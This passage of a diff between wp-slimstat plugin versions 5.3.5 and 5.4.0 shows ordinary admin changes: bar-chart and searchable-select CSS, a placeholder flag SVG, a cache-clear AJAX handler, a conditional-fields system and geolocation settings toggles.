stroke-width='1.5' stroke-linecap='round' stroke-linejoin='round'\u002F%3E%3Cpath d='M21.1172 11.6641L12.1172 20.6641' stroke='%23222222' stroke-width='1.5' stroke-linecap='round' stroke-linejoin='round'\u002F%3E%3Cpath d='M12.1172 11.6641L21.1172 20.6641' stroke='%23222222' stroke-width='1.5' stroke-linecap='round' stroke-linejoin='round'\u002F%3E%3C\u002Fsvg%3E%0A\") no-repeat center center\u002Fcontain}[dir=rtl] .slimstat-pro-modal #slimstat-pro-modal-close{right:auto;left:10%}.slimstat-pro-modal #slimstat-pro-modal-close:hover{opacity:1}.slimstat-pro-modal h2 .subtitle{font-size:18px;margin-bottom:12px;color:#151515;display:block}.slimstat-pro-modal h2 .title{color:#e8294c;font-size:22px;font-weight:700;margin-bottom:25px;display:block}.slimstat-pro-modal .description{color:#616060;font-weight:400;font-size:16px;margin-bottom:25px}.slimstat-pro-modal .scroller{max-height:45vh;overflow-y:auto;scrollbar-width:thin;scrollbar-color:#333 #f5f5f5;scrollbar-face-color:#f5f5f5;scrollbar-arrow-color:#333;scrollbar-track-color:#f5f5f5;scrollbar-shadow-color:#333;scrollbar-highlight-color:#333;scrollbar-3dlight-color:#333;scrollbar-darkshadow-color:#333}.slimstat-pro-modal .scroller::-webkit-scrollbar{width:5px}.slimstat-pro-modal .scroller::-webkit-scrollbar-thumb{background-color:#333;border-radius:10px}.slimstat-pro-modal .scroller::-webkit-scrollbar-track{background-color:#f5f5f5}.slimstat-pro-modal .features-flex-box{display:flex;align-items:center;justify-content:space-between;flex-wrap:wrap}.slimstat-pro-modal .features-flex-box .feature-item{flex:0 0 45%;border-bottom:1px solid #f3f3f3;padding:15px 0;display:flex;align-items:center;justify-content:space-between}.slimstat-pro-modal .features-flex-box .feature-item h6{color:#151515;font-weight:500;font-size:16px}.slimstat-pro-modal .features-flex-box .feature-item h6 .icon{transform:translateY(6px);width:20px;height:20px;margin-right:7px;display:inline-block;background:url(\"data:image\u002Fsvg+xml,%3Csvg width='18' height='17' viewBox='0 0 18 17' fill='none' xmlns='http:\u002F\u002Fwww.w3.org\u002F2000\u002Fsvg'%3E%3Cpath d='M16.4463 7.90039V8.57696C16.4454 10.1628 15.9319 11.7058 14.9823 12.976C14.0328 14.2461 12.6982 15.1753 11.1774 15.625C9.65665 16.0746 8.03129 16.0206 6.54373 15.471C5.05617 14.9215 3.78612 13.9057 2.92298 12.5754C2.05985 11.245 1.64988 9.67128 1.75422 8.08889C1.85857 6.50649 2.47163 5.00021 3.50198 3.79471C4.53233 2.5892 5.92476 1.74905 7.4716 1.39956C9.01844 1.05007 10.6368 1.20997 12.0854 1.8554' stroke='%23E8294C' stroke-width='1.8' stroke-linecap='round' stroke-linejoin='round'\u002F%3E%3Cpath d='M16.445 2.69531L9.09097 10.0567L6.88477 7.85047' stroke='%23E8294C' stroke-width='1.8' stroke-linecap='round' stroke-linejoin='round'\u002F%3E%3C\u002Fsvg%3E%0A\") no-repeat center center\u002Fcontain}[dir=rtl] .slimstat-pro-modal .features-flex-box .feature-item h6 .icon{margin-right:0;margin-left:7px}.slimstat-pro-modal .features-flex-box .feature-item .more-info-icon{display:block;width:20px;height:20px;margin-left:3px;background:url(\"data:image\u002Fsvg+xml,%3Csvg width='16' height='16' viewBox='0 0 16 16' fill='none' xmlns='http:\u002F\u002Fwww.w3.org\u002F2000\u002Fsvg'%3E%3Cpath d='M8.20996 15.4014C12.1434 15.4014 15.332 12.2127 15.332 8.2793C15.332 4.34589 12.1434 1.15723 8.20996 1.15723C4.27655 1.15723 1.08789 4.34589 1.08789 8.2793C1.08789 12.2127 4.27655 15.4014 8.20996 15.4014Z' stroke='%23C3C4C7' stroke-width='1.2' stroke-linecap='round' stroke-linejoin='round'\u002F%3E%3Cpath d='M6.13672 6.14245C6.30416 5.66645 6.63466 5.26508 7.06968 5.00942C7.5047 4.75376 8.01616 4.6603 8.51348 4.7456C9.0108 4.83091 9.46188 5.08946 9.78683 5.47548C10.1118 5.8615 10.2896 6.35007 10.2889 6.85465C10.2889 8.27907 8.15226 8.99127 8.15226 8.99127' stroke='%23C3C4C7' stroke-width='1.2' stroke-linecap='round' stroke-linejoin='round'\u002F%3E%3Cpath d='M8.21094 11.8398H8.21769' stroke='%23C3C4C7' stroke-width='1.2' stroke-linecap='round' stroke-linejoin='round'\u002F%3E%3C\u002Fsvg%3E%0A\") no-repeat center center\u002Fcontain}[dir=rtl] .slimstat-pro-modal .features-flex-box .feature-item .more-info-icon{margin-left:0;margin-right:3px}.slimstat-pro-modal .go-pro-button{display:inline-block;padding:15px 10px;width:250px;border-radius:10px;font-size:16px;font-weight:500;color:#fff;text-align:center;background-color:#e8294c;text-decoration:none;margin-top:35px;transition:.3s all ease-out}.slimstat-pro-modal .go-pro-button:hover{background-color:#000}[dir=rtl] .slimstat-pro-modal .features-flex-box .feature-item h6 .icon{margin-left:7px;margin-right:0}[dir=rtl] .slimstat-pro-modal #slimstat-pro-modal-close{left:10%;right:auto}@media(max-width: 780px){.slimstat-pro-modal{border-radius:15px;padding:20px 20px;width:95%}.slimstat-pro-modal #slimstat-pro-modal-close{top:20px;right:20px}[dir=rtl] .slimstat-pro-modal #slimstat-pro-modal-close{right:auto;left:20px}.slimstat-pro-modal h2 .subtitle{font-size:15px}.slimstat-pro-modal h2 .title{font-size:18px}.slimstat-pro-modal .features-flex-box .feature-item{flex:0 0 100%}.slimstat-pro-modal .features-flex-box .feature-item h6 .icon{transform:translateY(4px)}[dir=rtl] .slimstat-pro-modal .features-flex-box .feature-item h6 .icon{margin-right:0;margin-left:7px}}.slimstat-searchable-select{position:relative;display:inline-block;width:100%}.slimstat-searchable-select .slimstat-select-wrapper{width:180px;margin-right:5px;position:relative;border:1px solid #eee;border-radius:5px;background:#fff;cursor:pointer;min-height:32px}.slimstat-searchable-select .slimstat-select-wrapper:hover{border-color:#e8294c}.slimstat-searchable-select .slimstat-select-wrapper.slimstat-select-open{border-color:#e8294c;border-bottom-left-radius:0;border-bottom-right-radius:0}.slimstat-searchable-select .slimstat-select-display{display:flex;align-items:center;justify-content:space-between;padding:6px 12px;min-height:20px;font-size:14px;color:#555}.slimstat-searchable-select .slimstat-select-display.slimstat-placeholder{color:#999}.slimstat-searchable-select .slimstat-select-display .slimstat-select-text{flex:1;text-align:left;white-space:nowrap;overflow:hidden;text-overflow:ellipsis}.slimstat-searchable-select .slimstat-select-display .slimstat-select-arrow{flex-shrink:0;margin-left:8px;transition:transform .2s ease;display:flex;align-items:center;justify-content:center;width:16px;height:16px;color:#666}.slimstat-searchable-select .slimstat-select-display .slimstat-select-arrow svg{width:16px;height:16px;fill:none;stroke:currentColor;stroke-width:2;stroke-linecap:round;stroke-linejoin:round}.slimstat-searchable-select .slimstat-select-wrapper.slimstat-select-open .slimstat-select-arrow{transform:rotate(180deg)}.slimstat-searchable-select .slimstat-select-dropdown{position:absolute;top:100%;left:0;right:0;background:#fff;border:1px solid #e8294c;border-top:none;border-radius:0 0 5px 5px;box-shadow:0 2px 8px rgba(0,0,0,.1);z-index:1000;max-height:200px;overflow:hidden}.slimstat-searchable-select .slimstat-select-search{position:relative;padding:8px}.slimstat-searchable-select .slimstat-select-search input{width:100%;padding:6px 12px;border:1px solid #ddd;border-radius:3px;font-size:14px;outline:none}.slimstat-searchable-select .slimstat-select-search input:focus{border-color:#e8294c;box-shadow:0 0 0 1px #e8294c}.slimstat-searchable-select .slimstat-select-options{max-height:150px;overflow-y:auto}.slimstat-searchable-select .slimstat-select-option{display:flex;width:100%;padding:8px 12px;border:none;background:none;text-align:left;font-size:14px;color:#555;cursor:pointer;transition:background-color .2s ease}.slimstat-searchable-select .slimstat-select-option:hover{background-color:#f5f5f5}.slimstat-searchable-select .slimstat-select-option.slimstat-selected{background-color:#e8294c;color:#fff}.slimstat-searchable-select .slimstat-select-option.slimstat-hidden{display:none}.slimstat-searchable-select .slimstat-select-no-results{padding:12px;text-align:center;color:#999;font-style:italic;font-size:14px}.slimstat-searchable-select .slimstat-select-loading{padding:12px;text-align:center;color:#666;font-size:14px}.slimstat-searchable-select .slimstat-select-loading:before{content:\"\\\\f463\";font-family:dashicons;display:inline-block;animation:spin 1s linear infinite;margin-right:5px}.slimstat-option-icon{display:inline-block;vertical-align:middle;margin-right:5px;flex-shrink:0;border-radius:3px;object-fit:cover}.slimstat-select-option{align-items:center}.slimstat-select-option .slimstat-option-label{flex:1;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.slimstat-select-text .slimstat-option-icon{margin-right:5px;vertical-align:middle;display:inline-block}.rtl .slimstat-option-icon{margin-right:0;margin-left:5px}.rtl .slimstat-select-text .slimstat-option-icon{margin-right:0;margin-left:5px}\nOnly in \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.4.0\u002Fadmin\u002Fassets\u002Fcss: admin.css.map\nOnly in \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.4.0\u002Fadmin\u002Fassets\u002Fcss: daterangepicker\nOnly in \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.4.0\u002Fadmin\u002Fassets\u002Fcss: header-modern.css\nOnly in \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.4.0\u002Fadmin\u002Fassets\u002Fcss: header-notifications.css\nOnly in \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.4.0\u002Fadmin\u002Fassets\u002Fcss: live-analytics.css\nOnly in \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.4.0\u002Fadmin\u002Fassets\u002Fcss: migration.css\nOnly in \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.4.0\u002Fadmin\u002Fassets\u002Fcss: notifications.css\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.3.5\u002Fadmin\u002Fassets\u002Fcss\u002Fslimstat.css \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.4.0\u002Fadmin\u002Fassets\u002Fcss\u002Fslimstat.css\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.3.5\u002Fadmin\u002Fassets\u002Fcss\u002Fslimstat.css\t2025-08-25 08:38:44.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.4.0\u002Fadmin\u002Fassets\u002Fcss\u002Fslimstat.css\t2026-03-08 13:29:08.000000000 +0000\n@@ -455,3 +455,85 @@\n     font-weight: normal;\n     font-style: italic;\n }\n+\n+\u002F* Bar Chart Styles *\u002F\n+.slimstat-chart-wrap .slimstat-postbox-chart--canvas {\n+    transition: all 0.3s ease;\n+}\n+\n+\u002F* Bar chart specific styling *\u002F\n+.chart-bar .slimstat-postbox-chart--canvas {\n+    background: linear-gradient(135deg, #f8f9fa 0%, #ffffff 100%);\n+    border-radius: 8px;\n+    box-shadow: 0 2px 4px rgba(0, 0, 0, 0.05);\n+}\n+\n+\u002F* Bar chart hover effects *\u002F\n+.chart-bar .slimstat-postbox-chart--canvas:hover {\n+    box-shadow: 0 4px 8px rgba(0, 0, 0, 0.1);\n+}\n+\n+\u002F* Legend styling for bar charts *\u002F\n+.chart-bar .slimstat-postbox-chart--item {\n+    padding: 8px 12px;\n+    border-radius: 6px;\n+    transition: all 0.2s ease;\n+}\n+\n+.chart-bar .slimstat-postbox-chart--item:hover {\n+    background-color: rgba(0, 0, 0, 0.05);\n+    transform: translateY(-1px);\n+}\n+\n+.chart-bar .slimstat-postbox-chart--item--color {\n+    border-radius: 4px;\n+    box-shadow: 0 1px 3px rgba(0, 0, 0, 0.2);\n+}\n+\n+\u002F* Animation for bar charts *\u002F\n+@keyframes barChartLoad {\n+    from {\n+        opacity: 0;\n+        transform: scaleY(0);\n+        transform-origin: bottom;\n+    }\n+    to {\n+        opacity: 1;\n+        transform: scaleY(1);\n+    }\n+}\n+\n+.chart-bar .slimstat-postbox-chart--canvas {\n+    animation: barChartLoad 0.6s ease-out;\n+}\n+\n+\u002F* Responsive bar chart adjustments *\u002F\n+@media (max-width: 768px) {\n+    .chart-bar .slimstat-postbox-chart--canvas {\n+        height: 200px !important;\n+    }\n+\n+    .chart-bar .slimstat-postbox-chart--items {\n+        flex-direction: column;\n+        gap: 8px;\n+    }\n+\n+    .chart-bar .slimstat-postbox-chart--item {\n+        padding: 6px 10px;\n+        font-size: 13px;\n+    }\n+}\n+\n+\u002F* Bar chart loading state *\u002F\n+.chart-bar.loading .slimstat-postbox-chart--canvas {\n+    opacity: 0.6;\n+    filter: blur(1px);\n+}\n+\n+\u002F* Bar chart peak highlighting *\u002F\n+.chart-bar .bar-peak {\n+    background: linear-gradient(135deg, #e8294c 0%, #ff6b7d 100%) !important;\n+    box-shadow: 0 4px 12px rgba(232, 41, 76, 0.3) !important;\n+    transform: scaleY(1.1);\n+    z-index: 10;\n+}\nOnly in \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.4.0\u002Fadmin\u002Fassets\u002Fimages: email report.PNG\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.3.5\u002Fadmin\u002Fassets\u002Fimages\u002Fflags\u002Fxx.svg \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.4.0\u002Fadmin\u002Fassets\u002Fimages\u002Fflags\u002Fxx.svg\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.3.5\u002Fadmin\u002Fassets\u002Fimages\u002Fflags\u002Fxx.svg\t2025-04-25 10:26:40.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.4.0\u002Fadmin\u002Fassets\u002Fimages\u002Fflags\u002Fxx.svg\t2026-03-08 13:29:08.000000000 +0000\n@@ -1,4 +1,5 @@\n \u003Csvg xmlns=\"http:\u002F\u002Fwww.w3.org\u002F2000\u002Fsvg\" id=\"flag-icons-xx\" viewBox=\"0 0 640 480\">\n-  \u003Cpath fill=\"#fff\" fill-rule=\"evenodd\" stroke=\"#adb5bd\" stroke-width=\"1.1\" d=\"M.5.5h638.9v478.9H.5z\"\u002F>\n-  \u003Cpath fill=\"none\" stroke=\"#adb5bd\" stroke-width=\"1.1\" d=\"m.5.5 639 479m0-479-639 479\"\u002F>\n+  \u003Crect width=\"640\" height=\"480\" fill=\"#f8f9fa\" stroke=\"#adb5bd\" stroke-width=\"1.1\"\u002F>\n+  \u003Ccircle cx=\"320\" cy=\"240\" r=\"150\" fill=\"gray\"\u002F>\n+  \u003Ctext x=\"50%\" y=\"55%\" text-anchor=\"middle\" dominant-baseline=\"middle\" font-size=\"220\" font-weight=\"700\" font-family=\"system-ui,-apple-system,Segoe UI,Roboto,Arial,sans-serif\" fill=\"#ffffff\">?\u003C\u002Ftext>\n \u003C\u002Fsvg>\nOnly in \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.4.0\u002Fadmin\u002Fassets: img\nOnly in \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.4.0\u002Fadmin\u002Fassets\u002Fjs: adminbar-realtime.js\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.3.5\u002Fadmin\u002Fassets\u002Fjs\u002Fadmin.js \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.4.0\u002Fadmin\u002Fassets\u002Fjs\u002Fadmin.js\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.3.5\u002Fadmin\u002Fassets\u002Fjs\u002Fadmin.js\t2025-09-09 12:32:56.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.4.0\u002Fadmin\u002Fassets\u002Fjs\u002Fadmin.js\t2026-03-08 13:29:08.000000000 +0000\n@@ -6,6 +6,34 @@\n     };\n }\n \n+\u002F\u002F Clear Cache Button Handler\n+jQuery(document).on(\"click\", \"#slimstat-clear-cache\", function (e) {\n+    e.preventDefault();\n+    var $btn = jQuery(this);\n+    $btn.prop(\"disabled\", true);\n+    $btn.after('\u003Cspan class=\"loading\" style=\"vertical-align: middle; position: relative; top: 3px;\"> &nbsp; \u003Ci class=\"slimstat-font-spin4 animate-spin\">\u003C\u002Fi> &nbsp; \u003C\u002Fspan>');\n+    jQuery\n+        .ajax({\n+            method: \"POST\",\n+            url: ajaxurl,\n+            data: {\n+                action: \"slimstat_clear_cache\",\n+                security: typeof SlimStatAdminParams.clear_cache_nonce !== \"undefined\" ? SlimStatAdminParams.clear_cache_nonce : \"\",\n+            },\n+            dataType: \"json\",\n+        })\n+        .done(function (result) {\n+            alert(result.data || \"Cache cleared!\");\n+        })\n+        .fail(function (xhr) {\n+            alert(\"Cache clear failed!\");\n+        })\n+        .always(function () {\n+            $btn.prop(\"disabled\", false);\n+            $btn.next(\".loading\").remove();\n+        });\n+});\n+\n \u002F\u002F ----- TABLE OF CONTENTS -----------------------------------------------------------\n \u002F\u002F\n \u002F\u002F 1. Data Refresh\n@@ -15,9 +43,271 @@\n \u002F\u002F 5. Miscellaneous\n \u002F\u002F 6. Init Third-party Libraries\n \u002F\u002F 7. Init SlimStat Pro Modal\n+\u002F\u002F 8. Conditional Fields System\n \u002F\u002F\n \u002F\u002F -----------------------------------------------------------------------------------\n \n+\u002F**\n+ * Conditional Fields System\n+ *\n+ * A dynamic system for showing\u002Fhiding form fields based on other field values.\n+ *\n+ * Usage:\n+ * Add data attributes to fields that should be conditionally shown\u002Fhidden:\n+ * - data-conditional-field=\"field_id\" - The field ID that controls visibility\n+ * - data-conditional-value=\"value\" - The value(s) that should show this field (comma-separated for multiple)\n+ * - data-conditional-type=\"equals|not_equals|checked|not_checked|in|not_in\" - Comparison type\n+ *\n+ * Example:\n+ * \u003Ctr data-conditional-field=\"gdpr_enabled\" data-conditional-type=\"checked\">\n+ *   \u003Ctd>This row shows when gdpr_enabled is checked\u003C\u002Ftd>\n+ * \u003C\u002Ftr>\n+ *\n+ * \u003Ctr data-conditional-field=\"consent_integration\" data-conditional-value=\"slimstat_banner,wp_consent_api\" data-conditional-type=\"in\">\n+ *   \u003Ctd>This row shows when consent_integration is either 'slimstat_banner' or 'wp_consent_api'\u003C\u002Ftd>\n+ * \u003C\u002Ftr>\n+ *\u002F\n+(function ($) {\n+    \"use strict\";\n+\n+    var ConditionalFields = {\n+        \u002F**\n+         * Get the current value of a field\n+         * @param {string} fieldId - The field ID\n+         * @returns {string|boolean} The current value\n+         *\u002F\n+        getFieldValue: function (fieldId) {\n+            var $field = $(\"#\" + fieldId);\n+\n+            if ($field.length === 0) {\n+                return null;\n+            }\n+\n+            \u002F\u002F Checkbox\u002Ftoggle\n+            if ($field.is(\":checkbox\") || $field.hasClass(\"slimstat-checkbox-toggle\")) {\n+                return $field.is(\":checked\");\n+            }\n+\n+            \u002F\u002F Select\n+            if ($field.is(\"select\")) {\n+                return $field.val() || \"\";\n+            }\n+\n+            \u002F\u002F Radio buttons\n+            if ($field.is(\":radio\")) {\n+                return $('input[name=\"' + $field.attr(\"name\") + '\"]:checked').val() || \"\";\n+            }\n+\n+            \u002F\u002F Text\u002FNumber inputs\n+            return $field.val() || \"\";\n+        },\n+\n+        \u002F**\n+         * Check a single condition\n+         * @param {string} fieldId - The field ID\n+         * @param {string} conditionType - The condition type\n+         * @param {string} expectedValue - The expected value\n+         * @returns {boolean} True if condition is met\n+         *\u002F\n+        checkSingleCondition: function (fieldId, conditionType, expectedValue) {\n+            var currentValue = this.getFieldValue(fieldId);\n+\n+            if (currentValue === null) {\n+                return false;\n+            }\n+\n+            switch (conditionType) {\n+                case \"checked\":\n+                    return currentValue === true;\n+\n+                case \"not_checked\":\n+                    return currentValue === false;\n+\n+                case \"equals\":\n+                    return String(currentValue) === String(expectedValue);\n+\n+                case \"not_equals\":\n+                    return String(currentValue) !== String(expectedValue);\n+\n+                case \"in\":\n+                    if (!expectedValue) {\n+                        return false;\n+                    }\n+                    var values = String(expectedValue)\n+                        .split(\",\")\n+                        .map(function (v) {\n+                            return String(v).trim();\n+                        });\n+                    return values.indexOf(String(currentValue)) !== -1;\n+\n+                case \"not_in\":\n+                    if (!expectedValue) {\n+                        return true;\n+                    }\n+                    var notInValues = String(expectedValue)\n+                        .split(\",\")\n+                        .map(function (v) {\n+                            return String(v).trim();\n+                        });\n+                    return notInValues.indexOf(String(currentValue)) === -1;\n+\n+                case \"empty\":\n+                    return !currentValue || String(currentValue).trim() === \"\";\n+\n+                case \"not_empty\":\n+                    return currentValue && String(currentValue).trim() !== \"\";\n+\n+                default:\n+                    return false;\n+            }\n+        },\n+\n+        \u002F**\n+         * Check if a condition is met (supports multiple conditions with AND logic)\n+         * @param {jQuery} $element - The element with conditional attributes\n+         * @returns {boolean} True if condition is met\n+         *\u002F\n+        checkCondition: function ($element) {\n+            \u002F\u002F Support multiple conditions (AND logic)\n+            var fields = $element.data(\"conditional-field\");\n+            var types = $element.data(\"conditional-type\") || \"equals\";\n+            var values = $element.data(\"conditional-value\");\n+\n+            \u002F\u002F If multiple fields are specified (comma-separated), check all of them\n+            if (fields && fields.indexOf(\",\") !== -1) {\n+                var fieldArray = fields.split(\",\").map(function (f) {\n+                    return f.trim();\n+                });\n+                var typeArray = types.split(\",\").map(function (t) {\n+                    return t.trim();\n+                });\n+                var valueArray = values\n+                    ? values.split(\"|||\").map(function (v) {\n+                          return v.trim();\n+                      })\n+                    : [];\n+\n+                \u002F\u002F Check all conditions (AND logic)\n+                for (var i = 0; i \u003C fieldArray.length; i++) {\n+                    var fieldId = fieldArray[i];\n+                    var conditionType = typeArray[i] || \"equals\";\n+                    var expectedValue = valueArray[i] || \"\";\n+\n+                    if (!this.checkSingleCondition(fieldId, conditionType, expectedValue)) {\n+                        return false;\n+                    }\n+                }\n+                return true;\n+            }\n+\n+            \u002F\u002F Single condition (backward compatibility)\n+            var fieldId = fields;\n+            var conditionType = types;\n+            var expectedValue = values;\n+\n+            return this.checkSingleCondition(fieldId, conditionType, expectedValue);\n+        },\n+\n+        \u002F**\n+         * Update visibility of a conditional element\n+         * @param {jQuery} $element - The element to show\u002Fhide\n+         *\u002F\n+        updateVisibility: function ($element) {\n+            var conditionMet = this.checkCondition($element);\n+            var $row = $element.closest(\"tr\");\n+\n+            if (conditionMet) {\n+                $row.removeClass(\"hidden\").show();\n+            } else {\n+                $row.hide();\n+            }\n+        },\n+\n+        \u002F**\n+         * Update all conditional fields based on a trigger field\n+         * @param {string} triggerFieldId - The field ID that triggered the update\n+         *\u002F\n+        updateAllConditionals: function (triggerFieldId) {\n+            var self = this;\n+            \u002F\u002F Update fields that directly depend on this trigger\n+            $('[data-conditional-field=\"' + triggerFieldId + '\"]').each(function () {\n+                self.updateVisibility($(this));\n+            });\n+            \u002F\u002F Update fields that have multiple conditions (including this trigger)\n+            $('[data-conditional-field*=\"' + triggerFieldId + '\"]').each(function () {\n+                var $element = $(this);\n+                var fields = $element.data(\"conditional-field\");\n+                \u002F\u002F Only update if this field is part of a multi-condition\n+                if (fields && fields.indexOf(\",\") !== -1 && fields.indexOf(triggerFieldId) !== -1) {\n+                    self.updateVisibility($element);\n+                }\n+            });\n+        },\n+\n+        \u002F**\n+         * Initialize all conditional fields\n+         *\u002F\n+        init: function () {\n+            var self = this;\n+            var processedFields = {}; \u002F\u002F Track which fields already have listeners\n+\n+            \u002F\u002F Find all elements with conditional attributes\n+            $(\"[data-conditional-field]\").each(function () {\n+                var $element = $(this);\n+                var fields = $element.data(\"conditional-field\");\n+\n+                \u002F\u002F Update initial visibility\n+                self.updateVisibility($element);\n+\n+                \u002F\u002F Handle multi-condition (comma-separated fields)\n+                var fieldArray = [];\n+                if (fields && fields.indexOf(\",\") !== -1) {\n+                    fieldArray = fields.split(\",\").map(function (f) {\n+                        return f.trim();\n+                    });\n+                } else {\n+                    fieldArray = [fields];\n+                }\n+\n+                \u002F\u002F Set up event listeners for each trigger field\n+                fieldArray.forEach(function (fieldId) {\n+                    if (!fieldId || processedFields[fieldId]) {\n+                        return; \u002F\u002F Skip if already processed\n+                    }\n+                    processedFields[fieldId] = true;\n+\n+                    var $triggerField = $(\"#\" + fieldId);\n+                    if ($triggerField.length > 0) {\n+                        \u002F\u002F Remove existing listeners to avoid duplicates\n+                        $triggerField.off(\"change.conditionalFields\");\n+\n+                        \u002F\u002F Add change listener\n+                        $triggerField.on(\"change.conditionalFields\", function () {\n+                            self.updateAllConditionals(fieldId);\n+                        });\n+\n+                        \u002F\u002F For checkbox toggles, also listen to switchChange event\n+                        if ($triggerField.hasClass(\"slimstat-checkbox-toggle\")) {\n+                            $triggerField.off(\"switchChange.bootstrapSwitch.conditionalFields\");\n+                            $triggerField.on(\"switchChange.bootstrapSwitch.conditionalFields\", function () {\n+                                self.updateAllConditionals(fieldId);\n+                            });\n+                        }\n+                    }\n+                });\n+            });\n+        },\n+    };\n+\n+    \u002F\u002F Initialize on document ready\n+    jQuery(function () {\n+        ConditionalFields.init();\n+    });\n+\n+    \u002F\u002F Expose to global scope for manual initialization if needed\n+    window.SlimStatConditionalFields = ConditionalFields;\n+})(jQuery);\n+\n jQuery(function () {\n     \u002F\u002F Show Tracking Request Method only when Tracking Mode = Client\n     function toggleTrackingRequestMethod() {\n@@ -35,27 +325,32 @@\n     jQuery(document).on(\"change\", toggleSelector, toggleTrackingRequestMethod);\n     jQuery(document).on(\"switchChange.bootstrapSwitch\", toggleSelector, toggleTrackingRequestMethod);\n \n-    var licenseType = jQuery(\"#enable_maxmind\");\n-    if (licenseType.val() !== \"on\") {\n-        jQuery(\"#maxmind_license_key\").closest(\"tr\").css(\"display\", \"none\");\n-        jQuery(\"#maxmind_user_id\").closest(\"tr\").css(\"display\", \"none\");\n+    \u002F\u002F Geolocation provider-based UI toggles\n+    function toggleGeoUi() {\n+        var provider = jQuery(\"#geolocation_provider\").val();\n+        var $licenseRow = jQuery(\"#maxmind_license_key\").closest(\"tr\");\n+        var $dbActionsRow = jQuery(\"#slimstat-update-geoip-database\").length ? jQuery(\"#slimstat-update-geoip-database\").closest(\"tr\") : jQuery();\n+\n+        if (provider === \"maxmind\") {\n+            $licenseRow.css(\"display\", \"table-row\");\n+            $dbActionsRow.css(\"display\", \"table-row\");\n+        } else if (provider === \"dbip\") {\n+            $licenseRow.css(\"display\", \"none\");\n+            $dbActionsRow.css(\"display\", \"table-row\");\n+        } else if (provider === \"cloudflare\") {\n+            $licenseRow.css(\"display\", \"none\");\n+            $dbActionsRow.css(\"display\", \"none\");\n+        }\n     }\n+    \u002F\u002F Initialize and bind change\n+    toggleGeoUi();\n+    jQuery(document).on(\"change\", \"#geolocation_provider\", toggleGeoUi);\n \n     \u002F\u002F ----- BEGIN: ACCESS LOG -------------------------------------------------------\n     \u002F\u002F\n     SlimStatAdmin.access_log_count_down();\n \n-    jQuery(\"#enable_maxmind\").on(\"change\", function (e) {\n-        var value = e.target.value;\n-        if (value == \"on\") {\n-            jQuery(\"#maxmind_user_id\").closest(\"tr\").css(\"display\", \"table-row\");\n-            jQuery(\"#maxmind_license_key\").closest(\"tr\").css(\"display\", \"table-row\");\n-        }\n-        if (value == \"no\") {\n-            jQuery(\"#maxmind_user_id\").closest(\"tr\").css(\"display\", \"none\");\n-            jQuery(\"#maxmind_license_key\").closest(\"tr\").css(\"display\", \"none\");\n-        }\n-    });\n+    \u002F\u002F remove legacy enable_maxmind toggle handler (migrated to provider-based)\n \n     \u002F\u002F GeoIP Database Manually Update\n     jQuery(\"#slimstat-update-geoip-database\").on(\"click\", function (e) {\n@@ -182,12 +477,503 @@\n     \u002F\u002F ----- BEGIN: FILTERS ----------------------------------------------------------\n     \u002F\u002F\n \n+    \u002F\u002F Custom Searchable Select Component\n+    \u002F\u002F Make all texts translatable using wp.i18n if available, with fallbacks\n+    const __ = typeof window.wp !== \"undefined\" && wp.i18n && typeof wp.i18n.__ === \"function\" ? wp.i18n.__ : (s) => s;\n+    class SlimStatSearchableSelect {\n+        constructor(element, options = {}) {\n+            \u002F\u002F Validate element exists\n+            if (!element) {\n+                throw new Error(\"SlimStatSearchableSelect: element is required\");\n+            }\n+\n+            this.element = element;\n+            this.options = {\n+                placeholder: __(\"Select value...\", \"wp-slimstat\"),\n+                searchPlaceholder: __(\"Search...\", \"wp-slimstat\"),\n+                noResultsText: __(\"No results found\", \"wp-slimstat\"),\n+                loadingText: __(\"Loading...\", \"wp-slimstat\"),\n+                allowClear: true,\n+                ...options,\n+            };\n+\n+            this.selectedValue = \"\";\n+            this.selectedText = \"\";\n+            this.selectedOption = null;\n+            